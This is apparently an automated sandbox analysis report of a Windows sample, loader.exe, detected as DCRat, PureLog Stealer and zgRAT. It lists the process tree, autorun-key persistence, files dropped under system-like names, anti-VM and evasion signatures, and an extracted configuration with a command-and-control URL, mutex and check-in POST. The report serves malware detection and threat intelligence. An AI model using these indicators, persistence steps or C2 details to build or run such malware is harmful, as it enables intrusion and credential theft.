Edit tour

Windows Analysis Report
loader.exe

Overview

General Information

Sample name:	loader.exe
Analysis ID:	1588885
MD5:	2307ca04c2633d28345fb0580c77c2ec
SHA1:	edbd1f092ed03cb2674877aba6e874722ee07814
SHA256:	168637ea64d64afefd1f88b91ffecb74715ccb6a98acf73d4a16175511628276
Tags:	DCRatexeNyashTeamuser-MalHunter
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

AI detected suspicious sample

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Hides threads from debuggers

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file has nameless sections

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal browser information (history, passwords, etc)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains functionality to detect virtual machines (SLDT)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loader.exe (PID: 6104 cmdline: "C:\Users\user\Desktop\loader.exe" MD5: 2307CA04C2633D28345FB0580C77C2EC)

wscript.exe (PID: 3960 cmdline: "C:\Windows\System32\WScript.exe" "C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 2056 cmdline: C:\Windows\system32\cmd.exe /c ""C:\ServerWinRuntimeBroker\wJc3A8cK4hSMmtCgCMOA49.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chainPorthostCommon.exe (PID: 2308 cmdline: "C:\ServerWinRuntimeBroker/chainPorthostCommon.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

csc.exe (PID: 1484 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 4828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 828 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF2D.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC1E4D641D33A148FC98C6B9EA6A6669B1.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

csc.exe (PID: 6880 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 4232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 5980 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC121.tmp" "c:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 5236 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 5648 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 3384 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

RuntimeBroker.exe (PID: 6008 cmdline: "C:\Windows\LiveKernelReports\RuntimeBroker.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

dasHost.exe (PID: 3404 cmdline: "C:\Windows\DiagTrack\Scenarios\dasHost.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

conhost.exe (PID: 1488 cmdline: "C:\Recovery\conhost.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

tQESKTdysPpsVzUyXTE.exe (PID: 2360 cmdline: "C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

chainPorthostCommon.exe (PID: 2884 cmdline: "C:\ServerWinRuntimeBroker\chainPorthostCommon.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

dasHost.exe (PID: 5872 cmdline: "C:\Windows\DiagTrack\Scenarios\dasHost.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

conhost.exe (PID: 4024 cmdline: "C:\Recovery\conhost.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

tQESKTdysPpsVzUyXTE.exe (PID: 5132 cmdline: "C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe" MD5: CF5B49706562BA2047CDA4A451DD573A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary", "MUTEX": "DCR_MUTEX-eaeo9JEo1ruqi45TCDYM", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
loader.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
loader.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\DiagTrack\Scenarios\dasHost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\DiagTrack\Scenarios\dasHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\csrss.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Microsoft\csrss.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\conhost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\conhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\LiveKernelReports\RuntimeBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\LiveKernelReports\RuntimeBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author
00000011.00000002.3435800974.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000003.2162490833.0000000005BE3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000003.2161189771.0000000007387000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000000.2286038382.00000000004B2000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.2357344463.0000000012B88000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: chainPorthostCommon.exe PID: 2308	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: RuntimeBroker.exe PID: 6008	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: dasHost.exe PID: 3404	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.loader.exe.5d2d70d.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.loader.exe.5d2d70d.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.loader.exe.74d170d.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.loader.exe.74d170d.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.0.chainPorthostCommon.exe.4b0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.0.chainPorthostCommon.exe.4b0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.loader.exe.5d2d70d.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.loader.exe.5d2d70d.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.loader.exe.74d170d.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.loader.exe.74d170d.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, ProcessId: 2308, TargetFilename: C:\Recovery\conhost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Windows\LiveKernelReports\RuntimeBroker.exe" , CommandLine: "C:\Windows\LiveKernelReports\RuntimeBroker.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\LiveKernelReports\RuntimeBroker.exe, NewProcessName: C:\Windows\LiveKernelReports\RuntimeBroker.exe, OriginalFileName: C:\Windows\LiveKernelReports\RuntimeBroker.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5236, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\LiveKernelReports\RuntimeBroker.exe" , ProcessId: 6008, ProcessName: RuntimeBroker.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Windows\LiveKernelReports\RuntimeBroker.exe", EventID: 13, EventType: SetValue, Image: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, ProcessId: 2308, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Windows\LiveKernelReports\RuntimeBroker.exe", EventID: 13, EventType: SetValue, Image: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, ProcessId: 2308, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\ServerWinRuntimeBroker/chainPorthostCommon.exe", ParentImage: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, ParentProcessId: 2308, ParentProcessName: chainPorthostCommon.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline", ProcessId: 1484, ProcessName: csc.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\loader.exe", ParentImage: C:\Users\user\Desktop\loader.exe, ParentProcessId: 6104, ParentProcessName: loader.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe" , ProcessId: 3960, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, ProcessId: 2308, TargetFilename: C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\ServerWinRuntimeBroker/chainPorthostCommon.exe", ParentImage: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, ParentProcessId: 2308, ParentProcessName: chainPorthostCommon.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline", ProcessId: 1484, ProcessName: csc.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:43:15.910693+0100	2048095	1	A Network Trojan was detected	192.168.2.6	56905	37.44.238.250	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: loader.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\SSuSBQke.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\JgiUHXBa.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\Desktop\pOvooSqL.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Recovery\conhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Microsoft\csrss.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\keVXUmFt.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Found malware configuration

Source: 00000005.00000002.2357344463.0000000012B88000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary", "MUTEX": "DCR_MUTEX-eaeo9JEo1ruqi45TCDYM", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Microsoft\csrss.exe	ReversingLabs: Detection: 82%
Source: C:\Recovery\conhost.exe	ReversingLabs: Detection: 82%
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\Desktop\BLdnhdFQ.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\JgiUHXBa.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\PHEbWhMM.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\SSuSBQke.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\XCTiUwVw.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\keVXUmFt.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\kmFpzVgz.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\pOvooSqL.log	ReversingLabs: Detection: 50%
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	ReversingLabs: Detection: 82%
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	ReversingLabs: Detection: 82%
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: loader.exe	Virustotal: Detection: 76%			Perma Link
Source: loader.exe	ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\JgiUHXBa.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\ZPhRdffT.log	Joe Sandbox ML: detected
Source: C:\Windows\System32\SecurityHealthSystray.exe	Joe Sandbox ML: detected
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Joe Sandbox ML: detected
Source: C:\Recovery\conhost.exe	Joe Sandbox ML: detected
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\csrss.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\OTzTkTQO.log	Joe Sandbox ML: detected
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\keVXUmFt.log	Joe Sandbox ML: detected
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: loader.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2357344463.0000000012B88000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-eaeo9JEo1ruqi45TCDYM","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
Source: 00000005.00000002.2357344463.0000000012B88000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://373292cm.nyashka.top/","JavascriptSecureSqlLocalTemporary"]]

Source: loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: loader.exe, loader.exe, 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.pdb source: chainPorthostCommon.exe, 00000005.00000002.2352626856.000000000319A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.pdb source: chainPorthostCommon.exe, 00000005.00000002.2352626856.000000000319A000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Windows\System32\SecurityHealthSystray.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe			Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_0063A69B FindFirstFileW,FindFirstFileW,

0_2_0063A69B

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.6:56905 -> 37.44.238.250:80

Source: global traffic

TCP traffic: 192.168.2.6:55549 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 37.44.238.250 37.44.238.250

Source: Joe Sandbox View

ASN Name: HARMONYHOSTING-ASFR HARMONYHOSTING-ASFR

Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
